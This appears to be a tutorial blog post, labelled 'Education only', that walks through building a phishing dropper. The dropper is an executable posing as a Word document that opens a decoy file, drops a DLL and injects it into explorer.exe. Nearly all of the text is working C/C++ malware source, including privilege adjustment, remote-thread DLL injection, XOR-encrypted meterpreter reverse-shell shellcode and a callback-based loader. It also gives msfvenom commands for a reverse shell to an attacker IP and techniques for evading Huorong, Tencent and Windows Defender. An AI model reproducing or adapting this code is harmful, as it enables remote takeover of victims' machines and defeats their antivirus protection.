** Education only **
Author: Leviathan
Date: 11/5/2022
Virtual Machine Environment
Kali Linux IP: 192.168.107.128
Windows Defender: 192.168.107.136
Windows Huorong: 192.168.107.131
Windows Tencent Anti-Virus: 192.168.107.1
Program Analysis
Executable procedure
- When we open the executable file, we will get the Word file window which looks like as normal Document file be opened, at the same time we extract the malicious DLL file in directory public download.
- We will inject malicious DLL file in explorer.exe, and hacker will get the meterpreter shell in his machine.
- Delete itself and remain normal Word file in victim machine
Phishing part
How we store the Word file in executable file?
Visual Studio -> Resources Files -> Add -> Resouce -> import -> choose your Word file -> input docx type
Malicious DLL is the same way to store itself in executable file.
How we realse resources?
// Initialize the variables
char PathFileName[MAX_PATH] = { 0 };
char FileName[MAX_PATH] = { 0 };
char Dllpath[2*MAX_PATH] = "C:\\Users\\Public\\Downloads\\acvfunc.dll";
char FileType[10] = { 0 };
// Word File Resource Variables
HRSRC Resource;
HGLOBAL ResourceGlobal;
DWORD FileSize;
// DLL File Resource Variables
HRSRC DLL_Resource;
HGLOBAL DLL_ResourceGlobal;
DWORD DLL_FileSize;
Find the resource in executable file, load and lock them in void pointer
// FindResourceA
// LoadResource
Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll");
ResourceGlobal = LoadResource(NULL, Resource);
DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);
FileSize = SizeofResource(NULL, Resource);
DLL_FileSize = SizeofResource(NULL, DLL_Resource);
// Lock the resource in void* pointer
LPVOID PFILE = LockResource(ResourceGlobal);
LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
I create the file name as the program name, guys can modify any names you wanna.
// Get the program name
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);
// phishing.exe -> phishing.docx
// modify the suffix
for (size_t i = 0; i < MAX_PATH; i++)
{
if (FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
// Create a file and write the resource in it
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
Open the Word file with ShellExecuteExA function
// open the docx file
SHELLEXECUTEINFOA shellexc = { 0 };
shellexc.cbSize = sizeof(shellexc);
shellexc.lpFile = FileName;
shellexc.nShow = SW_SHOW;
ShellExecuteExA(&shellexc);
// Donot forget close handle or you will get wrong :-(
CloseHandle(FILE);
Write Malicious DLL file in public path
// Sleep(10000);
// To bypass Windows Deferder, Windows defender will scan the file in 10s when you execute the file as an administrator privilege.
HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dllSize;
WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
CloseHandle(DLLFILE);
Whole release resource function
#pragma once
#include "Basic.h"
// "Basic.h" include Windows.h and iostream
void free_resource() {
// Get File Name
char PathFileName[MAX_PATH] = { 0 };
char FileName[MAX_PATH] = { 0 };
char Dllpath[2*MAX_PATH] = "C:\\Users\\Public\\Downloads\\acvfunc.dll";
char FileType[10] = { 0 };
HRSRC Resource;
HGLOBAL ResourceGlobal;
DWORD FileSize;
HRSRC DLL_Resource;
HGLOBAL DLL_ResourceGlobal;
DWORD DLL_FileSize;
Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "dll");
ResourceGlobal = LoadResource(NULL, Resource);
DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);
FileSize = SizeofResource(NULL, Resource);
DLL_FileSize = SizeofResource(NULL, DLL_Resource);
LPVOID PFILE = LockResource(ResourceGlobal);
LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
strcpy_s(FileName, strrchr(PathFileName, '\\') + 1);
for (size_t i = 0; i < MAX_PATH; i++)
{
if (FileName[i] == '.')
{
FileName[i + 1] = 'd';
FileName[i + 2] = 'o';
FileName[i + 3] = 'c';
FileName[i + 4] = 'x';
break;
}
}
// Create a file and write the resource in it
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
// Create DLL FILE
// open the docx file
SHELLEXECUTEINFOA shellexc = { 0 };
shellexc.cbSize = sizeof(shellexc);
shellexc.lpFile = FileName;
shellexc.nShow = SW_SHOW;
ShellExecuteExA(&shellexc);
CloseHandle(FILE);
HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dllSize;
WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
CloseHandle(DLLFILE);
}
How we inject the malicious in explorer.exe process?
- Make sure we have high privilege to inject or we will inject failed.
- Load Malicious DLL
- Open explorer.exe handle
- Allocate the READ WRITE EXECUTABLE memory for DLL
- Get LoadLibaryA function address from kernel32.dll
- Create remote thread under the explorer.exe process.
Escalate Privilege part
// initialize variable
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE
Check if we get the high privilege like administrator
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (bRet == FALSE) {
ShowError("OpenProcessToken");
return FALSE;
}
// Get Local System pszPrivileges LUID Value
bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
if (bRet == FALSE) {
ShowError("LookupPrivilegeValueA");
return FALSE;
}
If we get the look up privilege value, we can try to impore our privilege in program
// Set Improve Privileges info
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Privilege Escalation
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL);
if (bRet == FALSE) {
ShowError("AdjustTokenPrivileges");
return FALSE;
}
else {
dwRet = GetLastError();
if (dwRet == ERROR_SUCCESS) {
return TRUE;
}
else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
Whole escalate privilege part
BOOL EnablePrivileges(HANDLE hProcess, LPCSTR pszPrivilegesName) {
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (bRet == FALSE) {
ShowError("OpenProcessToken");
return FALSE;
}
// Get Local System pszPrivileges LUID Value
bRet = LookupPrivilegeValueA(NULL, pszPrivilegesName, &luidValue);
if (bRet == FALSE) {
ShowError("LookupPrivilegeValueA");
return FALSE;
}
// Set Improve Privileges info
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Privilege Escalation
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, 0, NULL);
if (bRet == FALSE) {
ShowError("AdjustTokenPrivileges");
return FALSE;
}
else {
dwRet = GetLastError();
if (dwRet == ERROR_SUCCESS) {
return TRUE;
}
else if (dwRet == ERROR_NOT_ALL_ASSIGNED) {
ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}
Inject DLL part
// Initialize variable
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
Allocate the memory
//allocated memory in the injection process
dwSize = 1 + strlen(pszDllFileName);
pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
Write the malicious DLL file in the process
//Write data to the allocated memory
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
Get load DLL file function address
// Get LoadLibraryA function address
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
Create thread under the process
// Use CreateRemoteThread to create a remote thread and implement DLL injection
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("CreateRemoteThread");
return FALSE;
}
// Close handle
CloseHandle(hProcess);
the whole inject function part
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
// Get Process Handle
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
//allocated memory in the injection process
dwSize = 1 + strlen(pszDllFileName);
pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
//Write data to the allocated memory
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// Get LoadLibraryA function address
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// Use CreateRemoteThread to create a remote thread and implement DLL injection
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("CreateRemoteThread");
return FALSE;
}
// Close handle
CloseHandle(hProcess);
return TRUE;
}
Above all that, the phishing part is over, the next part is how to bypass Huorong, Tencent Anti-Virus and Windows Defender.
Bypass Part
How to create malicious DLL file?
To be honest, the first idea in my mind is creating the DLL by msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f dll -0 malicious_dll.dll
But it will detected by Huorong, Tencent Anti-virus and Windows Defender.
So we have to write DLL file by ourselves to bypass the detection. If our DLL file land safely, we have already bypass the Anti-Virus static detection.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.107.128 LPORT=4450 -f c -v shellcode
Use msfvenom create shellcode
ShellCode Encryption
We can use the simple XOR encrytion to decorate shellcode.
unsigned char encryptedShellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x49\x01\xd0\x50\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x4d\x31\xc9"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
char key[] = "lkdajsdwqe,sadlqwe:_)";
char cipherType[] = "xor";
// Char array to host the deciphered shellcode
unsigned char shellcode[sizeof encryptedShellcode];
unsigned char shellcode2[sizeof encryptedShellcode];
std::cout << encryptedShellcode << std::endl;
printf("\n\n\n");
// XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
for (int i = 0; i < sizeof encryptedShellcode; i++) {
if (j == sizeof key - 1) j = 0;
// shellcode[sizeof encryptedShellcode - 1 - i] = encryptedShellcode[i];
shellcode[i] = (encryptedShellcode[i] + 0x72) ^ key[j] ;
// shellcode[i] = (shellcode[i] ^ key[j]) - 0x72;
// shellcode[i] = encryptedShellcode[i] ^ key[j];
j++;
}
for (int i = 0; i < sizeof encryptedShellcode; i++) {
printf("\\x%x", shellcode[i]);
}
We can get the encrypted shellcode.
unsigned char E_shellcode[] =
"\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16";
unsigned char* decrypt() {
unsigned char shellcode[sizeof E_shellcode];
int j = 0;
char key[] = "lkdajsdwqe,sadlqwe:_)";
for (int i = 0; i < sizeof E_shellcode; i++) {
if (j == sizeof key - 1) j = 0;
shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
j++;
}
return shellcode;
}
jmp_shellcode
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
unsigned char* addrShellcode = decrypt();
DWORD dwOldPro = 0;
BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
// Callback function can bypass a lot of Anti-Virus softwares
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
return 0;
}
DLL MAIN function
HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
decrypt();
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
MessageBox(NULL, L"You are hacked ", L"Hacked by Leviathan", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
The whole DLL_File source code
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
typedef void(__stdcall* JMP_SHELLCODE)();
//unsigned char shellcode[] =
//"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
//"\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
//"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48"
//"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
//"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41"
//"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
//"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
//"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
//"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
//"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
//"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
//"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
//"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
//"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
//"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
//"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
//"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
//"\x89\xe5\x49\xbc\x02\x00\x11\x62\xc0\xa8\x6b\x80\x41\x54"
//"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
//"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
//"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
//"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
//"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
//"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
//"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
//"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
//"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
//"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
//"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
//"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
//"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
//"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
//"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
//"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
//"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
//"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
//"\xf0\xb5\xa2\x56\xff\xd5";
unsigned char E_shellcode[] =
"\x2\xd1\x91\x37\x8\x29\x5a\x5\x3\x17\x9f\xb0\xd2\xa6\xa8\xb2\xcd\xc6\x7e\x88\x93\x91\xaf\xb6\xa9\xd0\x8e\xa0\xfd\xcb\x98\xe8\xe1\xde\xc7\x57\xcb\x8a\x81\xf8\xe5\xa8\x45\xd7\xd8\xdb\xc9\x41\x7a\xd9\xa2\x8b\x58\xed\xf3\xd7\x5f\x4a\x8\xd6\x49\x6c\x7d\x33\xaf\xd7\xa2\xd0\x8e\xa0\xe5\x8c\xd1\x82\xc9\x12\x26\xb4\x82\x9d\xef\x47\x2b\xa8\x9b\x8f\x16\x13\x18\x8e\x96\x8d\x3\x17\x5e\xc9\x96\x56\x8a\xa8\xcd\x16\x78\xe9\xd4\xde\xf9\xdf\x12\x28\xb1\x99\xcd\xfb\x30\xe4\xc9\x10\x5f\xdf\x8c\xd1\x9f\x85\xfc\x12\xd6\x18\x2c\xdb\xc9\x41\x7a\xc4\x42\x5e\x53\xc0\x12\x57\xc6\x23\x90\x6\x84\x2a\x97\xfa\x11\xd3\xca\x29\x94\x2e\xbd\xc7\x98\x9e\xe5\xda\x17\x2e\xa9\xc4\x98\x44\xe5\x9f\x91\xd9\xea\xda\x19\x31\xd7\x8a\x7\x9f\x9f\xb9\xdb\x17\x2e\xc2\xbd\xb5\xf1\x93\x9a\xa6\xd8\xaf\xd2\xa6\xc9\x91\x29\xe3\xd6\xe8\x2\x33\xae\xdf\xba\xbb\xdf\xc7\xdb\x72\xd1\x1a\x15\x10\xa5\xc8\x54\x9e\x94\xc1\xfd\xd6\xc5\x16\x1e\xc2\xbf\xde\xc1\x7\x93\x9f\x35\x76\x12\x18\x1\xdf\x8c\x26\xde\x2\x7\x13\xe7\xb8\x43\x6d\xb8\xc8\xec\xef\xd7\x90\x32\xdf\x91\x10\xd7\x5b\xcf\x8c\xb4\xa\x10\x23\xd2\x8a\x2b\xbf\x49\x2c\x5b\x1e\xa0\xd7\x4d\xf1\x81\xb9\x5\x0\x22\xf0\xf\xd2\xb4\xae\xb3\xc8\xc6\x1\xe0\x8a\x5e\xd1\x15\x53\xd0\x88\x50\xcd\x0\x57\x96\x88\x52\xd7\x40\x2d\xf6\x34\x68\x2e\x6e\xd6\x90\x5d\xbd\xe8\xc0\xae\xc9\x8a\x31\x96\x88\xa\xd7\x40\x7a\x60\x83\xe9\x2e\x6e\x9b\x59\x82\x1d\xd1\x2\x24\x90\x26\x3f\x29\x1\x13\x16\xd6\x84\x29\xe7\x80\xa4\x7d\xd3\xc8\x5f\xbd\x1c\xc0\xae\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x9c\xac\xde\x94\x5c\xe1\xb4\x8c\x19\xb9\x9e\xc0\xaa\xbe\x1e\xf3\x5\x17\x89\x95\x93\x97\xf\xde\xc2\x51\xc0\x48\xbd\x67\xa0\x7b\x2\x26\xde\x97\x44\xcc\x9e\x3\xe0\x8a\x57\xd0\x9f\x3\xd0\x88\x28\xcd\x8a\xe\x9f\x5f\x15\x2f\x56\xa0\x6\x22\xcf\x35\x5b\x83\xf1\xae\xd2\xa3\xb8\xbe\x5\xc3\x17\x5e\xc0\xab\xb8\x1e\xbd\xc4\x49\x47\xfe\xa8\xce\x1a\x23\xa8\xa1\xc0\x48\x90\x91\xda\xff\x2\x26\xdf\x1d\x31\x2c\xcb\x4b\x2e\x58\xd6\x18\x51\xdb\xf1\x4b\xde\x80\x19\x82\xa\xc0\x10\x3d\xa6\xad\x5\xae\x81\x66\x1d\xe\x4c\x70\xa9\x1b\x34\x16";
unsigned char* decrypt() {
unsigned char shellcode[sizeof E_shellcode];
int j = 0;
char key[] = "lkdajsdwqe,sadlqwe:_)";
for (int i = 0; i < sizeof E_shellcode; i++) {
if (j == sizeof key - 1) j = 0;
shellcode[i] = (E_shellcode[i] ^ key[j]) - 0x72;
j++;
}
return shellcode;
}
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
unsigned char* addrShellcode = decrypt();
DWORD dwOldPro = 0;
BOOL ifExec = VirtualProtect(addrShellcode, sizeof(E_shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
return 0;
}
HANDLE hThread = NULL;
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
decrypt();
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
MessageBox(NULL, L"You are hacked ", L"Hacked by Leviathan", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
Huorong Bypass
Diffuculty: 3.0/5.0
Bypass Huorong Anti-Virus static detection when the malicious software land on victim machine.
Execute it and we will get the windows ‘Hacked by Leviathan’
In msf, we get the meterpreter shell after the victim execute the binary file.
Bypass Windows Defender
Difficulty: 4.5/5.0
Also we can bypass Windows Defender static detection
We load the malicious dll in public download directory, it seems well so far.
But we can’t get the shell, the windows defender will detect we inject the unknown DLL file in explorer.exe
We get the Windows Defender Threat report.
Now we have to try others way to get the shell.
- We set the Sleep function before the sensitive behaviors like GetProcAddress, CreateRemoteThread and VirutalAllocEx.
- Sleep more time before write file in public directory. ( Windows Defender will detect it assp :-( )
